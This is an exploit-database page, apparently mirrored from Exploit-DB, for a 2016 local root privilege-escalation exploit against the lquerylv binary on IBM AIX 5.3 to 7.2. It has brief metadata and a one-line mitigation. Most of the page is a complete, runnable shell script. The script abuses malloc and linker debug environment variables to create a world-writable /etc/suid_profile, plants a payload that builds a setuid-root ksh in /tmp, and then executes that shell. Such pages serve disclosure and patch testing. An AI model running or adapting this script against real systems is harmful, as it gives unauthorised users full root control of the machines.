header-logo
Suggest Exploit
vendor:
AIX
by:
hxmonsegur
7,2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: AIX
Affected Version From: AIX 5.3
Affected Version To: AIX 7.2
Patch Exists: YES
Related CWE: CVE-2009-1786, CVE-2009-2669, CVE-2014-3074
CPE: aix:lquerylv
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: AIX
2016

AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit

This exploit takes advantage of known issues with debugging functions within the AIX linker library. We are taking advantage of known functionality, and focusing on badly coded SUID binaries which do not adhere to proper security checks prior to seteuid/open/writes. The CVEs we will be taking advantage of are CVE-2009-1786, CVE-2009-2669, and CVE-2014-3074. In each instance of the aforementioned CVEs, IBM merely patched the binaries which were reported in the original reports as being used for escalation of the vulnerabilities. This allowed for the lquerylv binary to slip by their patches and become an attack vector.

Mitigation:

Apply the latest patches from IBM for AIX 5.3, 6.1, 7.1, and 7.2.
Source

Exploit-DB raw data:

#!/usr/bin/sh
#
# AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
#
# This exploit takes advantage of known issues with debugging functions
# within the AIX linker library. We are taking advantage of known 
# functionality, and focusing on badly coded SUID binaries which do not
# adhere to proper security checks prior to seteuid/open/writes.
#
# The CVEs we will be taking advantage of:
# - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows 
#   local users to create or overwrite arbitrary files via a symlink attack on
#   the log file associated with the MALLOCDEBUG environment variable. 
#
# - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does 
#   not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE 
#   environment variables, which allows local users to gain privileges by 
#   leveraging a setuid-root program to create an arbitrary root-owned file 
#   with world-writable permissions, related to libC.a (aka the XL C++ runtime
#   library) in AIX 5.3 and libc.a in AIX 6.1. 
#
# - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary 
#   File Writes In IBM AIX.
#
# In each instance of the aforementioned CVEs, IBM merely patched the binaries 
# which were reported in the original reports as being used for escalation of
# the vulnerabilities. This allowed for the lquerylv binary to slip by their
# patches and become an attack vector. 
#
# Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
#
# lqueryroot.sh by @hxmonsegur [2016 //RSL]

ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
APP=$0

function usage
{
    echo "Usage: $APP [1] | [2] | [3]"
    echo
    echo "1 - MALLOCDEBUG file write -> escalation"
    echo "2 - _LIB_INIT_DBG_FILE file write -> escalation"
    echo "3 - MALLOCBUCKETS file write -> escalation"
    echo
    echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL"
    exit
}

function CVE20091786
{
    echo "[*] Exporting MALLOCDEBUG environment variable"
    MALLOCTYPE=debug
    MALLOCDEBUG=report_allocations,output:/etc/suid_profile
    export MALLOCTYPE MALLOCDEBUG
}

function CVE20092669
{
    echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable"
    _LIB_INIT_DBG=1
    _LIB_INIT_DBG_FILE=/etc/suid_profile
    export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
}

function CVE20143074
{
    echo "[*] Exporting MALLOCBUCKETS environment variable"
    MALLOCOPTIONS=buckets
    MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
    export MALLOCOPTIONS MALLOCBUCKETS
}

if [ -z "$1" ]; then
    usage
    exit 1
fi

while [ "$1" != "" ]; do
    case $1 in
        1 )    CVE20091786;;
        2 )    CVE20092669;;
        3 )    CVE20143074;;
        * )    usage
               break;;
    esac
    shift
done

if [ ! -x "/usr/sbin/lquerylv" ]; then
    echo "[-] lquerylv isn't executable. Tough luck."
    exit 1
fi

echo "[*] Setting umask to 000"
umask 000

echo "[*] Execute our vulnerable binary"
/usr/sbin/lquerylv >/dev/null 2>&1

if [ ! -e "/etc/suid_profile" ]; then
    echo "[-] /etc/suid_profile does not exist and exploit failed."
    exit 1
fi

echo "[*] Cleaning up /etc/suid_profile"
echo > /etc/suid_profile

echo "[*] Current id: `/usr/bin/id`"

echo "[*] Adding payload"
cat << EOF >/etc/suid_profile
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm /etc/suid_profile
EOF

echo "[*] Unsetting env"
unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE

echo "[*] Executing ibstat for fun and profit"
/usr/bin/ibstat -a >/dev/null 2>&1

if [ ! -e "$ROOTSHELL" ]; then
    echo "[-] Rootshell does not exist and exploit failed."
    exit 1
fi

echo "[*] Executing rootshell"
$ROOTSHELL